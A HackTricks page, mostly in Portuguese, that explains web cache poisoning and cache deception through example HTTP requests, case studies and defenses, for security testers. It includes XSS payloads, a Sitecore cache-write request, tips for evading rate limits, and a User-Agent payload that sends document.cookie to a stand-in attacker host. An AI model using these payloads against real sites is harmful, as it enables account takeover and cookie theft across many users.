Cache Poisoning and Cache Deception
Reading time: 18 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
A diferença
What is the difference between web cache poisoning and web cache deception?
- Em web cache poisoning, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
- Em web cache deception, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache.
Cache Poisoning
Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar clientes a carregar recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitarem a página durante o período de contaminação do cache.
A execução de um ataque de cache poisoning envolve vários passos:
- Identificação de parâmetros não incluídos na chave: São parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar esses parâmetros é crucial, pois podem ser explorados para manipular o cache.
- Exploração dos parâmetros não incluídos na chave: Depois de identificar esses parâmetros, o próximo passo é descobrir como abusá-los para modificar a resposta do servidor de forma a beneficiar o atacante.
- Garantir que a resposta envenenada seja armazenada no cache: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.
Descoberta: Verificar headers HTTP
Normalmente, quando uma resposta foi armazenada no cache haverá um header indicando isso, você pode verificar quais headers deve observar neste post: HTTP Cache headers.
Descoberta: Cacheando códigos de erro
Se você suspeita que a resposta está sendo armazenada em cache, você pode tentar enviar requisições com um header inválido, que deveria responder com status code 400. Em seguida, tente acessar a requisição normalmente e se a resposta for um status code 400, você sabe que está vulnerável (e você poderia até realizar um DoS).
Você pode encontrar mais opções em:
No entanto, note que às vezes esses tipos de códigos de status não são cacheados, portanto esse teste pode não ser confiável.
Descoberta: Identificar e avaliar parâmetros não incluídos na chave
Você pode usar Param Miner para brute-force parameters and headers que podem estar alterando a resposta da página. Por exemplo, uma página pode estar usando o header X-Forwarded-For
para indicar ao cliente que carregue o script a partir daí:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provocar uma resposta prejudicial do servidor back-end
Com o parâmetro/header identificado, verifique como ele está sendo sanitizado e onde ele está sendo refletido ou afetando a resposta do header. Você consegue abusar disso de alguma forma (executar um XSS ou carregar um código JS controlado por você? executar um DoS?...)
Fazer com que a resposta seja cacheada
Uma vez que você tenha identificado a página que pode ser abusada, qual parâmetro/header usar e como abusar dele, você precisa fazer com que a página seja cacheada. Dependendo do recurso que você está tentando colocar no cache isso pode levar algum tempo, pode ser necessário tentar por vários segundos.
O header X-Cache
na resposta pode ser muito útil, pois pode ter o valor miss
quando o request não foi cacheado e o valor hit
quando está cacheado.
O header Cache-Control
também é interessante para saber se um recurso está sendo cacheado e quando será a próxima vez que o recurso será recacheado: Cache-Control: public, max-age=1800
Outro header interessante é Vary
. Este header é frequentemente usado para indicar headers adicionais que são tratados como parte da cache key mesmo se normalmente não são keyeados. Portanto, se o usuário souber o User-Agent
da vítima que está a ser alvo, ele pode poison the cache para os usuários que usam esse User-Agent
específico.
Mais um header relacionado ao cache é Age
. Ele define o tempo em segundos que o objeto está no proxy cache.
Ao cachear um request, tenha cuidado com os headers que você usa, porque alguns deles podem ser usados inesperadamente como parte da chave e a vítima precisará usar esse mesmo header. Sempre teste um Cache Poisoning com navegadores diferentes para verificar se está funcionando.
Exemplos de Exploração
Exemplo mais simples
Um header como X-Forwarded-For
está sendo refletido na resposta sem sanitização.
Você pode enviar um payload XSS básico e poison the cache para que todo mundo que acessar a página seja XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Observe que isto irá poison uma request para /en?region=uk
e não para /en
Cache poisoning para DoS
Cache poisoning através de CDNs
Em this writeup é explicado o seguinte cenário simples:
- A CDN irá armazenar em cache qualquer coisa sob
/share/
- A CDN NÃO irá decodificar nem normalizar
%2F..%2F
, portanto pode ser usado como path traversal to access other sensitive locations that will be cached comohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- O servidor web VAI decodificar e normalizar
%2F..%2F
, e responderá com/api/auth/session
, que contém o auth token.
Usando web cache poisoning para explorar vulnerabilidades no tratamento de cookies
Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderá explorar XSS em vários clientes que carreguem a resposta em cache maliciosa.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note que, se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache.
Gerando discrepâncias com delimitadores, normalização e pontos
Veja:
Cache Poisoning via URL discrepancies
Cache poisoning com path traversal para roubar API key
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
because anything matching /share/*
will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Isto também é explicado melhor em:
Cache Poisoning via URL discrepancies
Usando múltiplos headers para explorar web cache poisoning vulnerabilities
Às vezes será necessário exploit several unkeyed inputs para poder abusar de um cache. Por exemplo, você pode encontrar um Open redirect se definir X-Forwarded-Host
para um domínio controlado por você e X-Forwarded-Scheme
para http
. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme
as the domain name for the redirect. Você pode controlar para onde a página é apontada pelo redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Explorando com Vary
cabeçalho limitado
Se você descobrir que o cabeçalho X-Host
está sendo usado como domain name to load a JS resource, mas o cabeçalho Vary
na resposta está indicando User-Agent
, então você precisa encontrar uma forma de exfiltrate o User-Agent
da vítima e poison the cache usando esse User-Agent
:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envie uma requisição GET com os parâmetros na URL e também no body. Se o web server usar os valores do body, mas o cache server armazenar os da URL, qualquer pessoa acessando essa URL acabará usando o parâmetro do body. Como a vuln que James Kettle encontrou no website do Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Há um lab do PortSwigger sobre isso: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ;
instead of &
. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Aprenda aqui como realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.
Testes automatizados para Web Cache Poisoning
The Web Cache Vulnerability Scanner pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta várias técnicas diferentes e é altamente personalizável.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em cabeçalho com o comportamento de CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:
- O HTML principal refletia um cabeçalho de requisição não confiável (e.g.,
User-Agent
) em contexto executável. - O CDN removia headers de cache mas existia um cache interno/origem. O CDN também fazia auto-cache de requisições terminando em extensões estáticas (e.g.,
.js
), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca em GETs para assets estáticos. - Peculiaridades no fluxo de requisições permitiam que uma requisição para um path
.js
influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho.
Receita prática (observada em um CDN/WAF popular):
- A partir de um IP limpo (evite rebaixamentos baseados em reputação prévia), defina um
User-Agent
malicioso via navegador ou Burp Proxy Match & Replace. - No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (single-packet mode works best):
- First request: GET a
.js
resource path on the same origin while sending your maliciousUser-Agent
. - Immediately after: GET the main page (
/
).
- A corrida de roteamento do CDN/WAF mais o
.js
auto-cacheado frequentemente semeiam uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões deVary
comoUser-Agent
).
Exemplo de payload de header (para exfiltrar cookies não-HttpOnly):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Muitos CDN ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e throttle para evitar gatilhos de rate-limit ou de reputação.
- Usar um IP da própria cloud do CDN às vezes melhora a consistência do roteamento.
- Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto HTML principal e o CSP permitir execução inline ou for contornado pelo contexto.
Impact:
- Se os cookies de sessão não são
HttpOnly
, zero-click ATO é possível por exfiltração em massa dedocument.cookie
de todos os usuários que recebem o poisoned HTML.
Defenses:
- Pare de refletir request headers no HTML; faça context-encode estrito se inevitável. Alinhe as políticas de cache do CDN e da origin e evite variar com base em cabeçalhos não confiáveis.
- Garanta que o WAF aplique inspeção de conteúdo de forma consistente às requisições
.js
e caminhos estáticos. - Defina
HttpOnly
(eSecure
,SameSite
) nos cookies de sessão.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Um padrão específico do Sitecore permite gravações não autenticadas no HtmlCache ao abusar de pre‑auth XAML handlers e da reflexão do AjaxScriptManager. Quando o handler Sitecore.Shell.Xaml.WebControl
é alcançado, um xmlcontrol:GlobalHeader
(derivado de Sitecore.Web.UI.WebControl
) está disponível e a seguinte chamada reflexiva é permitida:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Isso escreve HTML arbitrário sob um cache key escolhido pelo atacante, permitindo cache poisoning preciso uma vez que os cache keys sejam conhecidos.
For full details (cache key construction, ItemService enumeration and a chained post-auth deserialization RCE):
Exemplos Vulneráveis
Apache Traffic Server (CVE-2021-27577)
O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou o cache key usando apenas host, path e query (ignorando o fragmento). Assim, a requisição /#/../?r=javascript:alert(1)
foi enviada ao backend como /#/../?r=javascript:alert(1)
e o cache key não continha o payload dentro dele, apenas host, path e query.
GitHub CP-DoS
Enviar um valor inválido no header content-type acionou uma resposta 405 em cache. O cache key continha o cookie, então era possível atacar apenas usuários não autenticados.
GitLab + GCP CP-DoS
GitLab usa GCP buckets para armazenar conteúdo estático. GCP Buckets suportam o header x-http-method-override
. Portanto era possível enviar o header x-http-method-override: HEAD
e poison the cache into returning an empty response body. Também podia suportar o método PURGE
.
Rack Middleware (Ruby on Rails)
Em aplicações Ruby on Rails, Rack middleware é frequentemente utilizado. O propósito do código Rack é pegar o valor do header x-forwarded-scheme
e defini-lo como o scheme da request. Quando o header x-forwarded-scheme: http
é enviado, ocorre um redirect 301 para o mesmo local, potencialmente causando Denial of Service (DoS) para esse recurso. Adicionalmente, a aplicação pode respeitar o header X-forwarded-host
e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança.
403 and Storage Buckets
Cloudflare anteriormente colocava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultaria em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento ainda pode estar presente em outros proxies.
Injecting Keyed Parameters
Caches frequentemente incluem parâmetros GET específicos no cache key. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro size
nas requisições. Contudo, se uma versão codificada em URL do parâmetro (ex.: siz%65
) também fosse enviada com um valor errado, o cache key seria construído usando o parâmetro size
correto. Entretanto, o backend processaria o valor no parâmetro codificado em URL. Codificar em URL o segundo parâmetro size
levava à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request cacheável.
User Agent Rules
Alguns desenvolvedores bloqueiam requisições com user-agents que combinam com ferramentas de alta carga como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS.
Illegal Header Fields
O RFC7230 especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo tchar deveriam idealmente disparar uma resposta 400 Bad Request. Na prática, servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header cache-control
não esteja presente. Foi identificado um padrão explorável onde o envio de um header com um caractere ilegal, como \
, resultava em um 400 Bad Request cacheável.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
O objetivo do Cache Deception é fazer os clientes load resources that are going to be saved by the cache with their sensitive information.
Antes de tudo, note que extensions como .css
, .js
, .png
etc. geralmente estão configuradas para serem salvas no cache. Portanto, se você acessar www.example.com/profile.php/nonexistent.js
o cache provavelmente irá armazenar a resposta porque identifica a extension .js
. Mas, se a application estiver respondendo com os conteúdos sensiveis do usuário armazenados em www.example.com/profile.php, você pode steal esses conteúdos de outros usuários.
Outras coisas para testar:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
No exemplo, é explicado que se você carregar uma página inexistente como http://www.example.com/home.php/non-existent.css o conteúdo de http://www.example.com/home.php (com as informações sensíveis do usuário) será retornado e o servidor de cache irá salvar o resultado.
Então, o attacker pode acessar http://www.example.com/home.php/non-existent.css no próprio navegador e observar as confidential information dos usuários que acessaram antes.
Note que o cache proxy deve estar configured para cache arquivos com base na extension do arquivo (.css) e não com base no content-type. No exemplo http://www.example.com/home.php/non-existent.css terá um content-type text/html
em vez de text/css
.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
Ferramentas Automáticas
- toxicache: Golang scanner para encontrar web cache poisoning vulnerabilities em uma lista de URLs e testar múltiplas injection techniques.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.